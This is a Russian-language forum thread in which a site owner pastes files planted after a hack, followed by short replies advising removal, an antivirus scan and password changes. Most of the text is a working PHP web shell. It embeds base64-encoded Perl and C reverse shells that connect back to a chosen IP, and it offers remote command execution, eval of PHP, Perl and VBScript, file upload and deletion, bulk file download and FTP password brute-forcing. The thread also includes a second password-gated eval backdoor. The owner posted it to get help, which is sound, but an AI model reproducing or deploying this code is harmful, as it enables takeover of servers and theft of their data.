kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNP Q0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9 yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPi ZTT0NLRVQi
KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQ iKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRV QiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb 3NlKFNUREl
OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZS hTVERFUlIpOw=="
;

$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0 KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCm ludC
BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W 10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBz b2NrYWRkcl9pbiBzaW47DQogY2hhciBybXN bMjFdPSJyb
SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBz aW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQo gc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaS hhcmd2WzJd
KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA 9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYn plcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxX SkrMStzdHJ
sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2 tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgS VBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25u ZWN0KGZkLC
Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sI HNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8 MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmV jdCgpIik7D
QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQo cm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1 zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cD IoZmQsIDEp
Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCI vYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCi BjbG9zZShmZCk7IA0KfQ=="
;


#####################################################################

if(version_compare(phpversion(), '4.1.0') == -1)
{
    
$_POST   = &$HTTP_POST_VARS;
    
$_REQUEST= &$HTTP_POST_VARS;
    
$_GET    = &$HTTP_GET_VARS;
    
$_SERVER = &$HTTP_SERVER_VARS;
    
$_COOKIE = &$HTTP_COOKIE_VARS;
}
if (@
get_magic_quotes_gpc())
{
  foreach (
$_GET as $k=>$v)
  {
     
$_GET[$k] = stripslashes($v);
  }
  foreach (
$_POST as $k=>$v)
  {
     
$_POST[$k] = stripslashes($v);
  }
  foreach (
$_REQUEST as $k=>$v)
  {
     
$_REQUEST[$k] = stripslashes($v);
  }
  foreach (
$_COOKIE as $k=>$v)
  {
     
$_COOKIE[$k] = stripslashes($v);
  }
}


if (
function_exists('error_reporting')) @error_reporting(0);
if (
function_exists('set_magic_quotes_runtime')) @set_magic_quotes_runtime(0);
if (
function_exists('set_time_limit')) @set_time_limit(0);
if (
function_exists('ini_set'))
{
  @
ini_set('max_execution_time',0);
  @
ini_set('output_buffering',0);
#TODO: if version 4.2.3 - 4.0.3.
# @ini_set('upload_max_filesize',"100M");
# if (@ini_get('file_uploads') == false) @ini_set('file_uploads',true);
}

global 
$safe_mode;
if (
function_exists('ini_get'))
{
  
$safe_mode = @ini_get('safe_mode');
} else {
  
$safe_mode 0;
}

global 
$unix;
$unix is_unix_os();

if (
function_exists('umask'))
{
    
$umask 0755;
}

$envelope = isset($_REQUEST['envelope']);

#####################################################################
  
if ($envelope)
  {
     echo 
'__START__9034785902347509238476034857607834__START__';
  }

  global 
$output;
  
$output '';
  global 
$compress;
  
$compress = empty($_REQUEST['compress']) ? $_REQUEST['compress'];
  global 
$use_exec;
  
$use_exec = empty($_REQUEST['use_exec']) ? $_REQUEST['use_exec'];
  global 
$fast;
  
$fast = empty($_REQUEST['rfast']) ? $_REQUEST['rfast'];

  if (!empty(
$_REQUEST['not_exec']) && $_REQUEST['not_exec']) $safe_mode 1;

  
$scmd = empty($_REQUEST['spec'])    ? '' $_REQUEST['spec'];
  if (empty(
$scmd))
      
$scmd = empty($_REQUEST['scmd'])    ? '' $_REQUEST['scmd'];

  
$cfe =  empty($_REQUEST['cfe'])    ? '' $_REQUEST['cfe'];
  if (empty(
$cfe))
    
$cfe =  empty($_REQUEST['rcmd'])    ? '' $_REQUEST['rcmd'];

  
$ffr  = empty($_REQUEST['rfile'])   ? '' $_REQUEST['rfile'];
  
$ffrs = empty($_REQUEST['rfiles'])  ? '' $_REQUEST['rfiles'];
  
$dfr  = empty($_REQUEST['rdir'])    ? '' $_REQUEST['rdir'];
  
$dfra = empty($_REQUEST['rdirall']) ? '' $_REQUEST['rdirall'];
  
$info = empty($_REQUEST['rinfo'])   ? '' $_REQUEST['rinfo'];

  if (!empty(
$HTTP_POST_FILES['userfile']['name']))
  {
    if(!empty(
$_REQUEST['rname']))
    {
      
$nfn $_REQUEST['rname'];
    } else {
      
$nfn $HTTP_POST_FILES['userfile']['name'];
    }

    
$tmp_name $HTTP_POST_FILES['userfile']['tmp_name'];
    
$tmp_size $HTTP_POST_FILES['userfile']['size'];

    
$upload_file = @fopen($tmp_name"rb");
    if (
$upload_file$target_file = @fopen($nfn"wb");

    if (
$target_file && $upload_file && !$use_exec)
    {
        
$write_data = @fread($upload_file$tmp_size);
        @
fwrite($target_file$write_data);

        @
fclose($target_file);
        @
fclose($upload_file);

        echo 
"1\n$nfn upload by fwrite ok";
    } else {
        if (
$target_file) @fclose($target_file);
        if (
$upload_file) @fclose($upload_file);

        if (!
$use_exec && @copy($tmp_name$nfn))
        {
          echo 
"1\n$nfn upload by copy ok";
        } else {
          
$cmd "cp $tmp_name $nfn 2>&1";

          echo 
"@copy failed. Trying $cmd\n";
          
$cpres command($cmd);
          if (empty(
$cpres))
          {
              echo 
"1\n$nfn upload by cp ok";
          } else {
              
$cmd "cat $tmp_name >$nfn";
              echo 
"cp failed. Trying $cmd\n";
              
$cpres command($cmd);
              if (@
filesize($nfn) == $tmp_size)
              {
                echo 
"1\n$name upload by cat ok";
              } else {
                echo 
"0\n$name upload error";
              }
          }
        }
    }
  }

  if (!empty(
$scmd))
  {
    if (
$scmd == "upload-agent" || $scmd == "upload-data" || $scmd == "upload-url")
    {
       
$agent '';
       if (
$scmd == "upload-agent")
       {
          
$aagent = @file(__FILE__);
          
$agent = @join(""$aagent);
       } elseif (
$scmd == "upload-data") {
          
$agent $_REQUEST['data'];
       } elseif (
$scmd == "upload-url") {
          
$agent = @file_get_contents($_REQUEST['rurl']);
       }

       if (empty(
$agent))
       {
           echo 
"error downloading data\n";
       }

       if (!empty(
$agent))
       {
         
$name $_REQUEST['rname'];
         if (empty(
$name))
         {
            
$name "agent.php";
         }

         
$file '';
         if (!
$use_exec)
             
$file = @fopen($name,"wb");

         if (
$file)
         {
            @
fwrite($file$agent);
            @
fclose($file);
            echo 
"1\n$name upload ok";
         } else {
            print 
"php file restriction is on\n";

            
$tmpfname get_temp_filename();

            if (
$tmpfile = @fopen($tmpfname"wb"))
            {
              @
fwrite($tmpfile$agent);
              @
fclose($tmpfile);
            } elseif (!
$safe_mode) {
              echo 
"can't open for write any temp file $tmpfname\n";
              
$esc_agent = @escapeshellarg($agent);
              
command("echo $esc_agent >$tmpfname");
            }

            if (!
$use_exec && @copy($tmpfname$name))
            {
              echo 
"1\n$name upload ok";
            } else {
              if (!
$safe_mode)
              {
                
$cmd "cp $tmpfname $name 2>&1";
                if (!
$unix$cmd "copy $tmpfname $name";

                echo 
"@copy failed. Trying $cmd\n";
                
$cpres command($cmd);
                if (empty(
$cpres))
                {
                  echo 
"1\n$name upload ok";
                } elseif (!
$safe_mode) {
                  
$cmd "cat $tmpfname >$name";
                  if (!
$unix$cmd "type $tmpfname >$name";

                  echo 
"cp failed. Trying $cmd\n";
                  
$cpres command($cmd);
                  if (@
file_exists($name))
                  {
                    echo 
"1\n$name upload ok";
                  } else {
                    echo 
"0\n$name upload error";
                  }
                }
              }
            }

            @
unlink($tmpfname);
         }
       }
    }

    if (
$scmd == "rm")
    {
         
$masks $_REQUEST['rname'];
         if (!empty(
$masks))
         {
            
$files explode_files($masks);
            foreach (
$files as $file)
            {
              if (
$use_exec || !@unlink($file))
              {
                if (
$unix)
                {
                  
$output .= command("rm -f $file");
                } else {
                  
$output .= command("del /Q $file");
                }
              }
            }
         }
    }
    if (
$scmd == "cp")
    {
         
$name1 $_REQUEST['rname1'];
         
$name2 $_REQUEST['rname2'];
         if (!empty(
$name1) && !empty($name2))
         {
            if (
$use_exec || !@copy($name1$name2))
            {
              if (
$unix)
              {
                
$output .= command("cp -f $name1 $name2");
              } else {
                
$output .= command("copy /Y $name1 $name2");
              }
            }
         }
    }
    if (
$scmd == "mv")
    {
         
$name1 $_REQUEST['rname1'];
         
$name2 $_REQUEST['rname2'];
         if (!empty(
$name1) && !empty($name2))
         {
            if (
$use_exec || !@rename($name1$name2))
            {
              if (
$unix)
              {
                
$output .= command("mv -f $name1 $name2");
              } else {
                
$output .= command("move /Y $name1 $name2");
              }
            }
         }
    }
    if (
$scmd == "rmdir")
    {
         
$name $_REQUEST['rname'];
         if (!empty(
$name))
         {
            if (
$use_exec || !@rmdir($name))
            {
               
$output .= command("rmdir $name");
            }
         }
    }
    if (
$scmd == "mkdir")
    {
         
$name $_REQUEST['rname'];
         if (!empty(
$name))
         {
            if (
$use_exec || !@mkdir($name))
            {
               
$output .= command("mkdir $name");
            }
         }
    }

    if (
$scmd == "chmod")
    {
         
$mode  $_REQUEST['rmode'];
         
$masks $_REQUEST['rname'];
         if (!empty(
$masks) && !empty($mode))
         {
            
$files explode_files($masks);
            foreach (
$files as $name)
            {
              if (
$use_exec || !@chmod($name,$mode))
              {
                 
$output .= command("chmod $mode $name");
              }
            }
         }
    }

    if (
$scmd == "chown")
    {
         
$owner  $_REQUEST['rowner'];
         
$masks $_REQUEST['rname'];
         if (!empty(
$masks) && !empty($owner))
         {
            
$files explode_files($masks);
            foreach (
$files as $name)
            {
              if (
$use_exec || !@chown($name,$owner))
              {
                
$output .= command("chown $owner $name");
              }
            }
         }
    }

    if (
$scmd == "chgrp")
    {
         
$masks $_REQUEST['rname'];
         
$grp  $_REQUEST['rgrp'];
         if (!empty(
$masks) && !empty($grp))
         {
            
$files explode_files($masks);
            foreach (
$files as $name)
            {
              if (
$use_exec || !@chgrp($name,$grp))
              {
                
$output .= command("chgrp $grp $name");
              }
            }
         }
    }

    if (
$scmd == "back-perl")
    {
      
$rip $_REQUEST['rip'] ? $_REQUEST['rip'] : $_SERVER['REMOTE_ADDR'];
      
$rport $_REQUEST['rport'] ? $_REQUEST['rport'] : 11457;

      
create_file_base64("/tmp/back",$back_connect);
      
$p2=which("perl");
      
$blah command($p2." /tmp/back $rip $rport &");
    }

    if (
$scmd == "back-c")
    {
      
$rip $_REQUEST['rip'] ? $_REQUEST['rip'] : $_SERVER['REMOTE_ADDR'];
      
$rport $_REQUEST['rport'] ? $_REQUEST['rport'] : 11457;

      
create_file_base64("/tmp/back.c",$back_connect_c);
      
$blah command("gcc -o /tmp/backc /tmp/back.c");
      @
unlink("/tmp/back.c");
      
$blah command("/tmp/backc $rip $rport &");
    }

    if (
$scmd == "eval-php")
    {
      
$code $_REQUEST['rcode'];
      if (!empty(
$code))
      {
          
$res = @eval ($code);
          if (
$res$output $res;

          if (!empty(
$output))
          {
            if (
$compresscompress($output);
            echo 
$output;
          }
      }
    }

    if (
$scmd == "eval-perl")
    {
      
$code $_REQUEST['rcode'];
      if (!empty(
$code))
      {
          
$p2 which("perl");
          
$tmpfname get_temp_filename();
          
create_file($tmpfname,$code);
          
$output command("$p2 $tmpfname");
          @
unlink($tmpfname);

          if (!empty(
$output))
          {
            if (
$compresscompress($output);
            echo 
$output;
          }
      }
    }

    if (
$scmd == "eval-vbs")
    {
      
$code $_REQUEST['rcode'];
      if (!empty(
$code))
      {
          
$tmpfname get_temp_filename();
          
create_file($tmpfname,$code);
          
$output command("cscript.exe /Nologo /E:Vbscript $tmpfname");
          @
unlink($tmpfname);

          if (!empty(
$output))
          {
            if (
$compresscompress($output);
            echo 
$output;
          }
      }
    }

    if (
$scmd == "include")
    {
      include(
$_REQUEST['rurl']);
    }

    if (
$scmd == "search")
    {
       
$pattern $_REQUEST['pattern'];
       
$grepmode = !empty($_REQUEST['grepmode']) ? $_REQUEST['grepmode'] : 0;

       
$files = array();
       
$output '';

       if (!empty(
$_REQUEST['tdir']))
       {
           
$exts $_REQUEST['exts'];
           
$target $_REQUEST['tdir'];
           
$files DirFilesR($target$exts);
       } elseif (!empty(
$_REQUEST['tfile'])) {
           
$files[] = $_REQUEST['tfile'];
       }

       if (
$files)
       {
         foreach (
$files as $file)
         {
            if (empty(
$file)) continue;

            
$content eat_file($file);
            if (!empty(
$content))
            {
              if (
$grepmode == 0)
              {
                  if (
preg_match("$pattern"$content))
                     
$output .= "$file\n";
              } else {
                  
$repfile false;

                  if (
preg_match_all("$pattern"$content$matchesPREG_PATTERN_ORDER))
                  {
                      if (
$grepmode == && !$repfile)
                      {
                         
$output .= "~!$file:\n";
                         
$repfile true;
                      }
                      
$tolist $grepmode == $matches[1] : $matches[0];
                      foreach (
$tolist as $match)
                      {
                          if (
$grepmode == 1)
                             
$output .= "$file:";
                          
$output .= "$match\n";
                      }
                  }
              }
            }
         }
       } else {
         
$output "??? error enumerating target dir/file!\n";
       }

       if (
$compresscompress($output);
       echo 
$output;
    }

    if (
$scmd == "ftp-test")
    {
      
$output '';
      
$ftp_server = !empty($_REQUEST['fserver']) ? $_REQUEST['fserver'] : "127.0.0.1";
      
$ftp_port = !empty($_REQUEST['fport']) ? $_REQUEST['fport'] : 21;

      
$connection = @ftp_connect ($ftp_server,$ftp_port,10);
      if (!
$connection) {
          
$output .= "error connecting to $ftp_server:$ftp_port\n";
      } else {
          @
ftp_close($connection);

          
$flogins    explode("\n",$_REQUEST['flogins']);
          
$fpasswords explode("\n",$_REQUEST['fpasswords']);

          
$found false;
          foreach (
$flogins as $login)
          {
            if (empty(
$login)) next;
            foreach (
$fpasswords as $password)
            {
                if (empty(
$password)) next;
                
$connection = @ftp_connect($ftp_server,$ftp_port,10);
                if (!
$connection) {
                   
$output .= "$login:$password:-1\n";
                } else {
                   if (@
ftp_login($connection,$login,$password))
                   {
                      
$output .= "$login:$password:1\n";
                      
$found true;
                      break;
                   } else {
                      
$output .= "$login:$password:0\n";
                   }
                   @
ftp_close($connection);
                }
            }
            if (
$found) break;
          }
      }
    }

    if (
$compresscompress($output);
    echo 
$output;
  }

  if (!empty(
$cfe))
  {
    
$output command($cfe);
    if (
$compresscompress($output);
    echo 
$output;
  }

  if (!empty(
$ffr))
  {
    if (!
$envelope)
    {
      @
header("Content-type: application/octet-stream");
      @
header("Content-disposition: attachment; filename=\"".$ffr."\";");
    }
    
$output eat_file($ffr);
    if (
$compresscompress($output);
    echo 
$output;
  }

  if (!empty(
$ffrs))
  {
    if (!
$envelope)
    {
      @
header("Content-type: application/zip");
    }

    
$ffrs trim($ffrs);
    
$files preg_split("/\s+/"$ffrs, -1PREG_SPLIT_NO_EMPTY);

    
$output make_zip($files);
    echo 
$output;
  }

  if (!empty(
$dfr))
  {
    if (!
$use_exec)
    {
      
$dfr trim($dfr);
      
$output .= safe_dir($dfr);
    }

    if (!
$safe_mode && empty($output))
    {
      if (
$unix)
      {
        
$output .= command("ls -liaL $dfr");
      } else {
        
$output .= command("dir /a $dfr");
      }
    }

    if (
$compresscompress($output);
    echo 
$output;
  }

  if (!empty(
$dfra))
  {
    
$recur_limit = !empty($_REQUEST['rlimit']) ? $_REQUEST['rlimit'] : 0;
    if (!
$use_exec)
    {
      
$dfra trim($dfra);
      
$output .= safe_dir($dfratrue$recur_limit);
    }

    if (!
$safe_mode && empty($output))
    {
      if (
$unix)
      {
        
$output .= command("ls -liRaL $dfra");
      } else {
        
$output .= command("dir /S /a $dfra");
      }
    }

    if (
$compresscompress($output);
    echo 
$output;
  }

  if (!empty(
$info))
  {
    
$output '';
    switch (
$info)
    {
      case 
'ver':
           
$output $version;
           if (
$safe_mode$output .= " (safe mode)";
           break;
      case 
'uname':
           
$output get_uname();
           break;
      case 
'id':
           if (!
$safe_mode)
           {
             if(
$unix) {
               
$output command("id");
             } else {
               
$output command("whoami");
             }
             
$output trim($output);
           }

           if (empty(
$output))
           {
                
$found 0;
                if (
function_exists('posix_geteuid') && function_exists('posix_getegid') && function_exists('posix_getgrgid') && function_exists('posix_getpwuid'))
                {
                    
$euserinfo  = @posix_getpwuid(@posix_geteuid());
                    
$egroupinfo = @posix_getgrgid(@posix_getegid());
                    if (
$euserinfo || $egroupinfo)
                    {
                      
$output 'uid='.$euserinfo['uid'].'('.$euserinfo['name'].') gid='.$egroupinfo['gid'].'('.$egroupinfo['name'].')';
                      
$found 1;
                    }
                }

                if (!
$found)
                {
                    if (
function_exists('get_current_user'))
                       
$output .= "user=".@get_current_user();

                    if (
function_exists('getmyuid'))
                        
$output .= " uid=".@getmyuid();

                    if (
function_exists('getmygid'))
                        
$output .= " gid=".@getmygid();
                }
           }
           break;
      case 
'pwd':
           
$output get_cwd();
           break;
      case 
'safe-mode':
           
$output $safe_mode '1' '0';
           break;
      case 
'unix-os':
           
$output $unix '1''0';
           break;
      case 
'php-info':
           
$output = @phpinfo(-1);
           break;
      case 
'php-ini':
           if (
function_exists('ini_get_all'))
           {
              foreach (@
ini_get_all() as $key=>$value)
              {
                  
$output .= "$key"."".U_value($value['local_value'])."".U_value($value['global_value'])."\n";
              }
           }
           break;
      case 
'disk':
           
$name $REQUEST['rname'];
           if (empty(
$name))
              if (
$unix)
                 
$name "/";
              else
                 
$name "\\";
           
$output = @disk_free_space($name)."/".@disk_total_space($name);
           break;
      case 
'disk-list':
           for (
$disk 'C'$disk 'Z'; ++$disk)
           {
              if (@
disk_total_space("$disk:"))
              {
                
$output .= "$disk:\n";
              }
           }
           break;
      case 
'env':
           if (
$_SERVER)
           {
              foreach (
$_SERVER as $key=>$value)
              {
                 
$output .= "$key:".U_value($value)."\n";
              }
           } else {
              global 
$HTTP_SERVER_VARS;
              foreach (
$HTTP_SERVER_VARS as $key=>$value)
              {
                 
$output .= "$key:".U_value($value)."\n";
              }
           }

           
$cmdenv '';
           if (!
$safe_mode)
           {
               if (
$unix$cmdenv command('env');
               else 
$cmdenv command('set');
           }

           if (!empty(
$cmdenv))
           {
              
$output .= @join(":"split("="$cmdenv));
           } else {
             if (
$_ENV)
             {
               foreach (
$_ENV as $key=>$value)
               {
                   
$output .= "$key:".U_value($value)."\n";
               }
             } else {
               global 
$HTTP_ENV_VARS;
               foreach (
$HTTP_ENV_VARS as $key=>$value)
               {
                   
$output .= "$key:".U_value($value)."\n";
               }
             }
           }
           break;

    }
    if (
$compresscompress($output);
    echo 
$output;
  }

  if (
$envelope)
  {
     echo 
'__STOP__9034785902347509238476034857607834__STOP__';
     die;
  }

?>


и вот код еще одного левого файла, что появился после взлома сайта

 <?php echo md5("testdata_start")."\n"; if (md5($_POST["p"])=="aace99428c50dbe965acc93f3f275cd3"){ if ($code fread(fopen($HTTP_POST_FILES["f"]["tmp_name"],"rb"),$HTTP_POST_FILES["f"]["size"])){ eval($code); }else{ echo md5("testdata_f")."\n"; }; }else{ echo md5("testdata_pass")."\n"; }; echo md5("testdata_end")."\n"
?>                                                                                                                                                                                                        

   
 
 автор: Faraon   (23.10.2007 в 17:12)   письмо автору
 
   для: inga   (23.10.2007 в 16:53)
 

Во первых посоветую такие большие коды приатачивать
Во вторых удалить эти фрагменты кодов
В третьих проверить комп антивирусом на наличие воровщиков паролей
В четвертых поменять пароли доступа к FTP

   
 
 автор: Agronom   (23.10.2007 в 19:36)   письмо автору
 
   для: Faraon   (23.10.2007 в 17:12)
 

Если это не ваш скрипт, то его можно сравнить с оригиналом =)

   
Rambler's Top100
вверх

Rambler's Top100 Яндекс.Метрика Яндекс цитирования